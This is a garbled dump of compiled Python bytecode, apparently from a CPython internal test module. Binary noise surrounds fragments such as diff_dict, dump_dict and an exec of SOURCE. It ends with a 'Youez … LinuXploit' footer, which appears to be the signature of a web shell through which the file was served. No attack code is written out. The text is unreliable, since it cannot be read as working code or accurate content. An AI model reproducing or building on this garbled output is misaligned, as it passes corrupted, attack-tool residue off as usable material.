QOV$OU2U22Jg	P!P!)�N�N�__rI�rc3�L�SF �Dvoo[U2w�	J	P!3hr�r�)�.0r��_s&  r�	<genexpr>�diff_dict.<locals>.<genexpr>�s��d���d�7�1�a���A���d�s�$� z{}.{} -{!r}
{} +{!r}z{}.{} +{!r})	r��	diff_dictrs�maxr�rrN�format�ljust)	�before�afterr�diffr��max_k�indent�brs	&&&      rr�r��s���
�D�
�F�^���R�5�D�=����=��f�i���(�;���:�%�(�f�i�/��K�K��1�I�u�x�0�1�����+�d�+�+�E�
�C��K�!�O�e�+�
,�F��w��G�A�!���-�4�4�V�W�W�U�^�Q�XY�Z�[��m�*�*�6�7�7�5�>�1�E�F�	�rc��[%c	U%fP![QU22o[UO2QQ5FD�vqEUQ*Q6XcJUQ6Xc[	V*V*QQ5J8VPU*6wc4[QO
V$OU2VPU*22Jy[Q	O
V$OU2U22J�	P![cK=h9h)
Nc3�D�SF �Do[U2w�	J	P!3hrr�)r�r�s& rr��dump_dict.<locals>.<genexpr>�s������1��A����s� c��U]*!)rr)r�s&r�<lambda>�dump_dict.<locals>.<lambda>�s��A�a�Dr)r,r�r�rIr�z{}.{} {!r} (was {!r})z
{}.{} {!r})	rr�r�r~�	dump_dictrNr�r�r*)r�r�rr�r�r�s&&&   rr�r��s����7�%���&��&�&�E��u�{�{�}�.�9�9����R�5�D�=����=��f�i���(�;��	��1�I�~��-�4�4�V�W�W�U�^�Q�WX�PY�Z�[���
	�l�!�!�&�'�'�%�.�!�<�=�:���	��	�s�?C0�1C0�0	C>�:C>�=C>c�^�[OU2oP	o[[U2P
oU%c
[	V 2L[V 2STt-tFD+oV@Q*O
V@O
UQ22aJ-	to!S%c
[	X 2h[X 2h9httoh)TrI.)r�deepcopy�exec�SOURCEr�r�r�)r-rr��failedr�s&&   rr*r*�s���
�]�]�2�
�F�
�F�"��V�R������f�!��f�!����A�	
�h�<���A�v�v�a��~�.�.�����	��f�!��f�!��s�B�3B*�B'�B'r)�global)rra�pathlibr��unittest�test.supportr�Path�__file__�absolute�parent�
read_bytesr�rf�_testinternalcapir�TestCaserr)rrr%rKrjr�r�r*rrr�<module>rs~���
���� �&��l�l�8�$�-�-�/�6�6�=�=�D�D�G[�[�
g�
g�
i�F�d
+�x�(�(�d
+�P��
������
�	�
���
����������������� �!�"
�#�$�%�&�'�(�)�*
�+�,�-�.�/�0�1��6��	
�������	�
���
������������������� 
�!�"�#�&�'�(�)�*�+��0l�d�l�^>�>�Bh��h�VG�,>�&��K'�&�8�
#�
%�F�&�s�AE�E�	E�E

Youez - 2016 - github.com/yon3zu
LinuXploit